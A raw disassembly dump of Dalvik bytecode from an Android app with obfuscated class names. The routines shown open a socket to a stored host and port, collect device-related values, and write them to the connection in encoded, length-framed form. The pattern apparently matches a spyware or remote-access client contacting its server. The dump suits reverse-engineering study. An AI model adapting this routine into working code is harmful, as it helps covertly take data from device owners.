    000841e8const v1, 0x7f0c0025
    000841eeinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000841f4move-result-object v0
    000841f6goto :goto_38
    000841f8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000841fciget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084200invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00084206move-result-object v1
    00084208sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008420cinvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084212move-result-object v2
    00084214invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    0008421amove-result-object v0
    0008421csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00084220iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084224invoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    0008422amove-result-object v2
    0008422csget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084230const-wide/16 v5, 0x56
    00084234invoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008423amove-result-object v3
    0008423cinvoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00084242move-result-object v1
    00084244const-string v2, ""
    00084248if-ne v1, v2, :cond_5e
    0008424ciget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084250invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    00084256move-result-object v1
    00084258const v2, 0x7f0c0023
    0008425einvoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00084264move-result-object v1
    00084266goto :goto_70
    00084268sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008426ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084270invoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00084276move-result-object v2
    00084278sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008427cinvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084282move-result-object v3
    00084284invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    0008428amove-result-object v1
    0008428ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->a:Ljava/lang/String;
    00084290invoke-static {v2}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
    00084296move-result-object v2
    00084298new-instance v3, Ljava/net/InetSocketAddress;
    0008429ciget v4, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->b:I
    000842a0invoke-direct {v3, v2, v4}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
    000842a6new-instance v2, Ljava/net/Socket;
    000842aainvoke-direct {v2}, Ljava/net/Socket;-><init>()V
    000842b0invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/net/Socket;)Ljava/net/Socket;
    000842b6invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000842bcmove-result-object v2
    000842beconst v4, 0xea5f
    000842c4invoke-virtual {v2, v3, v4}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
    000842caiget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842ceinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000842d4move-result-object v3
    000842d6invoke-virtual {v3}, Ljava/net/Socket;->isConnected()Z
    000842dcmove-result v3
    000842deiput-boolean v3, v2, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000842e2iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842e6iget-boolean v2, v2, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000842eaconst/4 v3, 0x1
    000842ecif-ne v2, v3, :cond_128
    000842f0iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842f4invoke-static {v2, v3}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Z)Z
    000842fanew-instance v2, Lcmf0/c3b5bm90zq/patch/C5$a;
    000842feiget-object v4, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084302const/4 v5, 0x0
    00084304invoke-direct {v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C5$a;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Lcmf0/c3b5bm90zq/patch/C5$1;)V
    0008430aconst/4 v4, 0x0
    0008430cnew-array v4, v4, [Ljava/lang/Object;
    00084310invoke-virtual {v2, v4}, Lcmf0/c3b5bm90zq/patch/C5$a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
    00084316invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008431cmove-result-object v2
    0008431einvoke-virtual {v2, v3}, Ljava/net/Socket;->setTcpNoDelay(Z)V
    00084324invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008432amove-result-object v2
    0008432cinvoke-virtual {v2, v3}, Ljava/net/Socket;->setKeepAlive(Z)V
    00084332invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084338move-result-object v2
    0008433aconst/16 v3, 0x3ff
    0008433einvoke-virtual {v2, v3}, Ljava/net/Socket;->setSendBufferSize(I)V
    00084344invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008434amove-result-object v2
    0008434cinvoke-virtual {v2, v3}, Ljava/net/Socket;->setReceiveBufferSize(I)V
    00084352iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084356invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008435cmove-result-object v3
    0008435einvoke-virtual {v3}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084364move-result-object v3
    00084366invoke-static {v2, v3}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    0008436ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084370new-instance v3, Ljava/lang/StringBuilder;
    00084374invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    0008437asget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008437econst-wide/16 v6, 0x46
    00084382invoke-static {v4, v5, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084388move-result-object v4
    0008438ainvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084390sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084394invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008439ainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843a0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843a4invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843aainvoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843b0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843b4invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843basget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000843beiget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000843c2invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000843c8move-result-object v1
    000843cainvoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/a;->d(Landroid/content/Context;)Ljava/lang/String;
    000843d0move-result-object v0
    000843d2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843d8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843dcinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843e2invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000843e8move-result-object v0
    000843eainvoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/lang/String;)V
    000843f0goto :goto_12e
    000843f2iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000843f6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;)V
    000843fciget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084400iget-boolean v0, v0, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    00084404if-eqz v0, :cond_0
    00084408return-void
    0008419c
    0008440a
    0008440a struct code_item_padding
    0008440a padding uint16 0x0000
    0008440c
    0008440c struct try_item
    0008440c start_addr uint32 0x841ac
    00084410 insn_count int 290
    00084412 handler_off uint16 0x84415
    00084414
    00084414 struct encoded_catch_handler_list
    00084414 size int 1
    00084415
    00084415 struct encoded_catch_handler ← 0x84412
    00084415 size int64 3
    00084416 handlers[0].type_idx int 0x5a58
    00084418 handlers[0].addr uint32 0x843f2
    0008441a handlers[1].type_idx int 0x5a48
    0008441c handlers[1].addr uint32 0x843f2
    0008441e handlers[2].type_idx int 0x5994
    00084420 handlers[2].addr uint32 0x843f2
    00084422
    00084422 // align 0x4
    00084424
    00084424cmf0.c3b5bm90zq.patch.C5$2::<init>(cmf0.c3b5bm90zq.patch.C5, java.lang.String):
    00084434iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    00084438iput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C5$2;->a:Ljava/lang/String;
    0008443cinvoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00084442return-void
    00084424
    00084444
    00084444cmf0.c3b5bm90zq.patch.C5$2::run():
    00084454const/4 v0, 0x0
    00084456invoke-static {v0}, Ljava/lang/String;->valueOf(C)Ljava/lang/String;
    0008445cmove-result-object v1
    0008445enew-instance v2, Ljava/lang/StringBuilder;
    00084462invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    00084468iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->a:Ljava/lang/String;
    0008446cinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084472sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->e:Ljava/lang/String;
    00084476invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008447cconst-string v3, "null"
    00084480invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084486invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008448cmove-result-object v2
    0008448einvoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
    00084494move-result-object v2
    00084496invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/a;->a([B)[B
    0008449cmove-result-object v2
    0008449earray-length v3, v2
    000844a0new-instance v4, Ljava/io/ByteArrayOutputStream;
    000844a4invoke-direct {v4}, Ljava/io/ByteArrayOutputStream;-><init>()V
    000844aainvoke-static {v3}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
    000844b0move-result-object v3
    000844b2invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
    000844b8move-result-object v3
    000844bainvoke-virtual {v4, v3}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844c0invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
    000844c6move-result-object v1
    000844c8invoke-virtual {v4, v1}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844ceinvoke-virtual {v4, v2}, Ljava/io/ByteArrayOutputStream;->write([B)V
    000844d4invoke-virtual {v4}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
    000844damove-result-object v1
    000844dcinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->e()Ljava/lang/Object;
    000844e2move-result-object v2
    000844e4monitor-enter v2
    000844e6invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000844ecmove-result-object v3
    000844eearray-length v4, v1
    000844f0invoke-virtual {v3, v4}, Ljava/net/Socket;->setSendBufferSize(I)V
    000844f6iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    000844fainvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084500move-result-object v4
    00084502invoke-virtual {v4}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084508move-result-object v4
    0008450ainvoke-static {v3, v4}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    00084510iget-object v3, v5, Lcmf0/c3b5bm90zq/patch/C5$2;->b:Lcmf0/c3b5bm90zq/patch/C5;
    00084514invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C5;->b(Lcmf0/c3b5bm90zq/patch/C5;)Ljava/io/OutputStream;
    0008451amove-result-object v3
    0008451carray-length v4, v1
    0008451einvoke-virtual {v3, v1, v0, v4}, Ljava/io/OutputStream;->write([BII)V
    00084524monitor-exit v2
    00084526goto :goto_6d
    00084528move-exception v0
    0008452amonitor-exit v2
    0008452cthrow v0
    0008452ereturn-void
    00084444